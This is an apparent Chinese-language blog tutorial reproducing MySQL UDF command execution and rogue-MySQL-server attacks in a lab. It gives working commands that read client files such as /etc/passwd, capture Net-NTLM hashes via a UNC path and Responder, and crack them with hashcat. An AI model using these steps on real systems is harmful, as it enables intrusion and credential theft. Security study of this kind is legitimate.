mysql udf和任意文件讀取

一、UDF提權(quán)

之前遇到php的環(huán)境,都是直接上傳大馬嘗試udf提權(quán),對(duì)udf的原理并不了解,今天花時(shí)間復(fù)現(xiàn)了一下。另外我覺(jué)得叫udf提權(quán)并不準(zhǔn)確,最終的結(jié)果是使用mysql執(zhí)行了系統(tǒng)命令,能不能提權(quán)成功取決于運(yùn)行mysql服務(wù)的是不是高權(quán)限用戶。

漏洞利用條件

  1. 已知mysql root用戶的賬號(hào)密碼
  2. 沒(méi)有secure_file_priv的限制

環(huán)境搭建

1.設(shè)置mysql允許root外聯(lián)

use mysql;
grant all privileges on *.* to root@'%' identified by 'root';
flush privileges;

2.設(shè)置secure_file_priv

secure_file_priv=
MySQL [(none)]> SHOW VARIABLES LIKE "secure_file_priv";
my.ini

漏洞利用

1.查詢mysql絕對(duì)路徑

select @@basedir;
show variables like "%plugin%";

2.利用ntfs數(shù)據(jù)流創(chuàng)建plugin文件夾(如果文件夾不存在)

測(cè)試發(fā)現(xiàn)低版本的mysql可以成功創(chuàng)建文件夾,高版本的沒(méi)有成功

mysql> select 'xxx' into dumpfile 'C:/phpstudy/MySQL/lib/plugin::$INDEX_ALLOCATION';

3.上傳udf.dll文件

mysql版本小于5.1時(shí),導(dǎo)出到c:\windows\system32目錄,大于5.1時(shí)導(dǎo)出到../lib/plugin目錄。
sqlmap和metasploit中都有udf文件,這里使用的msf,文件位置在/usr/share/metasploit-framework/data/exploits/mysql/

sqlmap -d "mysql://root:root@192.168.80.202:3306/mysql" --file-write="/root/lib_mysqludf_sys_32.dll" --file-dest="C:/phpStudy/mysql/lib/plugin/udf.dll"

4.從udf文件中引入自定義函數(shù)

MySQL [(none)]> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

5.使用自定義函數(shù)執(zhí)行系統(tǒng)命令

MySQL [(none)]> select sys_eval('whoami');
image.png

二、mysql任意文件讀取

原理

mysql的load data local infile函數(shù)用于讀取客戶端的文件并保存在表中,如果攻擊者搭建一個(gè)偽造的mysql服務(wù)器,當(dāng)有客戶端連接這個(gè)偽造的mysql服務(wù)器時(shí),利用load data local infile函數(shù),攻擊者就可以讀取客戶端主機(jī)上的文件。

實(shí)現(xiàn)過(guò)程

  • 例如,使用kali(192.168.80.130)連接mysql服務(wù)器(192.168.80.140)
mysql -uroot -proot -h192.168.80.140
  • 使用load data local infile函數(shù)讀取kali的/etc/passwd,并存入mysql.host表中
load data local infile "/etc/passwd" into table mysql.host FIELDS TERMINATED BY '\n';
  • 查看mysql.host表,發(fā)現(xiàn)讀取成功
image.png

linux系統(tǒng)的利用

如果連接偽造MySQL服務(wù)器的客戶端在linux上運(yùn)行,我們可以通過(guò)以下方法讀取linux系統(tǒng)上的文件。

  • 使用bettercap啟動(dòng)一個(gè)偽造的mysql服務(wù)器
root@kali:~# bettercap -eval "set mysql.server.infile /etc/passwd; mysql.server on"
  • 當(dāng)有客戶端連接時(shí),能讀取到客戶端主機(jī)上的/etc/passwd文件
mysql -uroot -h192.168.80.130 -p
image.png
image.png

windows系統(tǒng)的利用

INFILE支持使用UNC路徑的方式,如果連接偽造MySQL服務(wù)器的客戶端在Windows上運(yùn)行,我們可以通過(guò)以下方法得到windows的Net-NTLM hash。

  • 使用bettercap啟動(dòng)一個(gè)偽造的mysql服務(wù)器
root@kali:~# bettercap
set mysql.server.infile \\192.168.80.130\test
mysql.server on
image.png
  • 使用responder開(kāi)啟中間人監(jiān)聽(tīng)
root@kali:~# git clone https://github.com/lgandx/Responder.git
root@kali:~# cd Responder/
root@kali:~/Responder# ./Responder.py -I eth0 -rv
  • 當(dāng)有客戶端使用mysql.exe命令或者使用Navicat連接時(shí),都能獲取到他的Net-NTLM hash(不過(guò)由于國(guó)內(nèi)運(yùn)營(yíng)商封禁了445端口,該利用方式在公網(wǎng)上影響有限)
mysql -uroot -h192.168.80.130 -p
image.png
  • 最后可以使用hashcat來(lái)破解哈希值
    -m 指定hash的類型,5600為NetNTLMv2
root@kali:~# hashcat -m 5600 Administrator::WIN-A3QJ128S93I:c780067f2a0ae7bf:B85AE87F3BBF17DD5960DFAD6075A19B:0101000000000000C0653150DE09D201AB26C0BE9B8FEEB9000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000D7006384B53B06B857318D8C05A5C2A66BFC9AFDCD36062540942A9B227E7AE60A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00380030002E00310033003000000000000000000000000000 /root/top100.txt -o rst.txt --force
image.png

影響

  • 一些云服務(wù)器控制臺(tái)的數(shù)據(jù)遷移功能可能會(huì)存在這個(gè)漏洞
  • 或者用在蜜罐上讀取攻擊者的信息

參考

https://www.cnblogs.com/litlife/p/9030673.html
https://www.colabug.com/2019/0408/5936906/
https://www.anquanke.com/post/id/106488

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容